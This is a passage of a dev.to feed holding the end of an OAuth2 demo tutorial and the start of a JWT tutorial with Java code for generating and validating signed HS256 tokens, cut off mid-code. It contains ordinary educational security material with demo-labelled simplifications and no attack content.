&lt;li&gt;No control over permissions ❌&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;OAuth2 solves this using:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tokens&lt;/li&gt;
&lt;li&gt;Delegated access&lt;/li&gt;
&lt;li&gt;Controlled permissions&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔷 Common Mistakes
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;❌ Client handling user credentials&lt;/li&gt;
&lt;li&gt;❌ Confusing code vs token&lt;/li&gt;
&lt;li&gt;❌ Sending token in URL&lt;/li&gt;
&lt;li&gt;❌ Thinking client validates token&lt;/li&gt;
&lt;li&gt;❌ Skipping redirect-based flow
### 🔷 Important Notes&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ⚠️ 1. This is a simplified demo
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Hardcoded values&lt;/li&gt;
&lt;li&gt;No database&lt;/li&gt;
&lt;li&gt;No real token security&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ⚠️ 2. Token is NOT a real JWT
&lt;/h4&gt;

&lt;p&gt;header.payload.signature&lt;/p&gt;

&lt;p&gt;👉 In real systems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Token is a JWT&lt;/li&gt;
&lt;li&gt;Signed and verified&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ⚠️ 3. Client Secret should NOT be exposed
&lt;/h4&gt;

&lt;p&gt;In this demo:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shown in UI ❌&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In real OAuth:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Used only in backend communication ✅&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ⚠️ 4. Browser cannot send Authorization headers directly
&lt;/h4&gt;

&lt;p&gt;Use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;curl&lt;/li&gt;
&lt;li&gt;Postman&lt;/li&gt;
&lt;li&gt;Java client&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ⚠️ 5. Resource Server must validate token
&lt;/h4&gt;

&lt;p&gt;In real systems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Verify signature&lt;/li&gt;
&lt;li&gt;Check expiry&lt;/li&gt;
&lt;li&gt;Validate issuer&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  🔷 Key Takeaways
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;OAuth2 is about delegation of access&lt;/li&gt;
&lt;li&gt;Client never sees user password&lt;/li&gt;
&lt;li&gt;Authorization Server issues tokens&lt;/li&gt;
&lt;li&gt;Resource Server enforces access&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now that you understand the complete flow, let’s run it.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔷 Try It Yourself
&lt;/h3&gt;

&lt;p&gt;If you want to understand OAuth2 deeply, I highly recommend running this demo locally.&lt;/p&gt;

&lt;p&gt;👉 GitHub Repository (complete working example with all servlets and configuration):&lt;br&gt;&lt;br&gt;
&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/OAUTH" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/OAUTH&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Steps:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Clone the repository
&lt;/li&gt;
&lt;li&gt;Deploy it in Tomcat
&lt;/li&gt;
&lt;li&gt;Open &lt;code&gt;/login&lt;/code&gt; in your browser
&lt;/li&gt;
&lt;li&gt;Follow the complete OAuth2 flow step by step
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Hands-on practice will make the concepts much clearer than theory alone.&lt;br&gt;
If you run into any issues while trying this locally, feel free to leave a comment—I’ll be happy to help.&lt;/p&gt;

&lt;h3&gt;
  
  
  🏁 Conclusion
&lt;/h3&gt;

&lt;p&gt;OAuth2 may seem complex at first—but the core idea is simple:&lt;br&gt;
👉 The client never gets your password&lt;br&gt;
👉 The Authorization Server issues a token&lt;br&gt;
👉 The Resource Server trusts that token&lt;/p&gt;

&lt;h3&gt;
  
  
  🔑 What You Built
&lt;/h3&gt;

&lt;p&gt;You implemented:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Client&lt;/li&gt;
&lt;li&gt;Authorization Server&lt;/li&gt;
&lt;li&gt;Resource Server&lt;/li&gt;
&lt;li&gt;Complete OAuth2 flow
This is the same pattern used by Google and Microsoft.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🔗 OAuth2 + JWT
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;OAuth2 = how you get the token&lt;/li&gt;
&lt;li&gt;JWT = what the token contains&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  ⚠️ Production Note
&lt;/h3&gt;

&lt;p&gt;Use tools like Keycloak or frameworks like Spring Boot for real systems.&lt;/p&gt;

</description>
      <category>java</category>
      <category>security</category>
      <category>webdev</category>
      <category>oauth</category>
    </item>
    <item>
      <title>Understanding JWT Authentication in Java with Encryption and Decryption</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Thu, 19 Mar 2026 20:19:51 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/understanding-jwt-authentication-in-java-with-encryption-and-decryption-2ig7</link>
      <guid>https://dev.to/sanjayghosh/understanding-jwt-authentication-in-java-with-encryption-and-decryption-2ig7</guid>
      <description>&lt;p&gt;JSON Web Token (JWT) is a widely used mechanism for securely transmitting information between systems.&lt;/p&gt;

&lt;p&gt;JWT is commonly used in:&lt;br&gt;
• API authentication&lt;br&gt;
• Single Sign-On (SSO)&lt;br&gt;
• Microservices communication&lt;/p&gt;

&lt;p&gt;This article explains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What JWT is&lt;/li&gt;
&lt;li&gt;JWT structure&lt;/li&gt;
&lt;li&gt;How encryption and signing works&lt;/li&gt;
&lt;li&gt;How to generate and validate JWT in Java&lt;/li&gt;
&lt;li&gt;A simple diagram explaining the flow&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  What is JWT?
&lt;/h2&gt;

&lt;p&gt;JWT (JSON Web Token) is a compact, URL-safe token format used to securely transmit information between two parties. &lt;a href="https://datatracker.ietf.org/doc/html/rfc7519" rel="noopener noreferrer"&gt;Refer RFC7519&lt;/a&gt; .&lt;/p&gt;

&lt;p&gt;A JWT contains claims (information) that are digitally signed and optionally encrypted.&lt;/p&gt;

&lt;p&gt;JWT tokens are typically used after a user logs in successfully. The server generates a token and sends it back to the client. The client includes this token in future requests for authentication.&lt;/p&gt;
&lt;h2&gt;
  
  
  JWT Structure
&lt;/h2&gt;

&lt;p&gt;JWT Structure&lt;/p&gt;

&lt;p&gt;A JWT consists of three parts separated by dots:&lt;/p&gt;

&lt;p&gt;HEADER.PAYLOAD.SIGNATURE&lt;/p&gt;

&lt;p&gt;Example JWT:&lt;/p&gt;

&lt;p&gt;eyJhbGciOiJIUzI1NiJ9&lt;br&gt;
.&lt;br&gt;
eyJpc3MiOiJteS5jb21wYW55LmNvbSIsInN1YiI6ImpvaG4uZG9lIiwiaWF0IjoxNzczMTg0MTIwLCJleHAiOjE3NzMxODQ0MjAsImp0aSI6IjI1Y2JkNjVmLTYzODEtNGZiYi05YWMyLTk4ZTk0ZGYwYTI2YSJ9&lt;br&gt;
.&lt;br&gt;
UEG4iZhhtyG58V0Vcz-IHOL8MMPmDVqZdyRhoaTnYCI&lt;/p&gt;

&lt;p&gt;Each part is Base64URL encoded. ()&lt;/p&gt;
&lt;h3&gt;
  
  
  1. Header
&lt;/h3&gt;

&lt;p&gt;The header contains metadata about the token.&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;p&gt;{"alg":"HS256"}&lt;/p&gt;

&lt;p&gt;alg indicates the algorithm used to sign the token.&lt;/p&gt;

&lt;p&gt;Common algorithms include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HS256&lt;/li&gt;
&lt;li&gt;RS256&lt;/li&gt;
&lt;li&gt;ES256&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  2. Payload
&lt;/h3&gt;

&lt;p&gt;The payload contains claims, which are pieces of information about the user.&lt;br&gt;
Example:&lt;br&gt;
{ &lt;br&gt;
    "iss":"my.company.com",&lt;br&gt;
    "sub":"john.doe","iat":1773184120,&lt;br&gt;
    "exp":1773184420,&lt;br&gt;
    "jti":"25cbd65f-6381-4fbb-9ac2-98e94df0a26a"}&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br&gt;
JWT payload is not encrypted by default. It is only Base64 encoded.&lt;br&gt;
Anyone can decode the payload, but the signature prevents tampering.&lt;/p&gt;
&lt;h3&gt;
  
  
  3. Signature
&lt;/h3&gt;

&lt;p&gt;The signature ensures the token has not been modified.&lt;br&gt;
Example process:&lt;br&gt;
HMACSHA256(&lt;br&gt;
   base64UrlEncode(header) + "." +&lt;br&gt;
   base64UrlEncode(payload),&lt;br&gt;
   secret&lt;br&gt;
)&lt;br&gt;
If someone modifies the payload, the signature verification will fail.&lt;/p&gt;
&lt;h2&gt;
  
  
  JWT Authentication Flow
&lt;/h2&gt;

&lt;p&gt;Typical authentication flow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;User logs in with username and password&lt;/li&gt;
&lt;li&gt;Server validates credentials&lt;/li&gt;
&lt;li&gt;Server generates a JWT&lt;/li&gt;
&lt;li&gt;Client stores the token&lt;/li&gt;
&lt;li&gt;Client sends JWT in Authorization header&lt;/li&gt;
&lt;li&gt;Server verifies the token&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Example header in API request:&lt;/p&gt;

&lt;p&gt;Authorization: Bearer &lt;/p&gt;
&lt;h2&gt;
  
  
  Generating JWT in java
&lt;/h2&gt;

&lt;p&gt;(Example Code)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;jwt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;io.jsonwebtoken.Jwts&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;io.jsonwebtoken.security.Keys&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.Key&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.time.Instant&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.time.temporal.ChronoUnit&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Date&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.UUID&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.nio.charset.StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;JwtTokenGenerator&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="cm"&gt;/**
     * Generates a signed JWT token using a shared secret key.
     * @param issuer The issuer of the token.
     * @param subject The subject of the token (e.g., user ID).
     * @param secretKey The secret key for signing (must be at least 256 bits).
     * @return The compact JWT string.
     */&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;generateJwtToken&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;issuer&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;subject&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;secretKey&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Define the key from the secret string&lt;/span&gt;
        &lt;span class="c1"&gt;// The key should be securely managed and stored&lt;/span&gt;
        &lt;span class="nc"&gt;Key&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Keys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hmacShaKeyFor&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secretKey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;

        &lt;span class="nc"&gt;Instant&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Instant&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;now&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="c1"&gt;// Build the JWT&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Jwts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;builder&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setIssuer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;issuer&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Set the issuer claim&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setSubject&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subject&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Set the subject claim&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setIssuedAt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;// Set the issued at time&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setExpiration&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;plus&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5L&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;ChronoUnit&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MINUTES&lt;/span&gt;&lt;span class="o"&gt;)))&lt;/span&gt; &lt;span class="c1"&gt;// Set expiration for 5 minutes later&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setId&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;UUID&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;randomUUID&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;// Set a unique ID for the token&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;signWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Sign the JWT with the key&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;compact&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Compacts the JWT into its final string form&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Example usage: replace with your actual values&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;myIssuer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"my.company.com"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;mySubject&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"john.doe"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="c1"&gt;// Key must be sufficiently long for HS256 (e.g., 32 characters or more for 256 bits)&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;mySecretKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"aVerySecureAndLongSecretKeyForSigningJwts"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generateJwtToken&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;myIssuer&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mySubject&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mySecretKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Generated JWT Token:"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above code will create the token. &lt;/p&gt;

&lt;p&gt;Validating JWT in Java&lt;br&gt;
Example Code&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;jwt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;io.jsonwebtoken.Claims&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;io.jsonwebtoken.Jwts&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;io.jsonwebtoken.security.Keys&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.nio.charset.StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;JWTValidation&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;SECRET_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"aVerySecureAndLongSecretKeyForSigningJwts"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;Claims&lt;/span&gt; &lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                 &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Jwts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;verifyWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Keys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hmacShaKeyFor&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;SECRET_KEY&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;))).&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;parseSignedClaims&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getPayload&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Please provide the token String as a parameter"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;tokenString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
            &lt;span class="nc"&gt;Claims&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;validate&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tokenString&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Subject: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSubject&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Issuer: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getIssuer&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Issued At: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getIssuedAt&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Expiration: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getExpiration&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
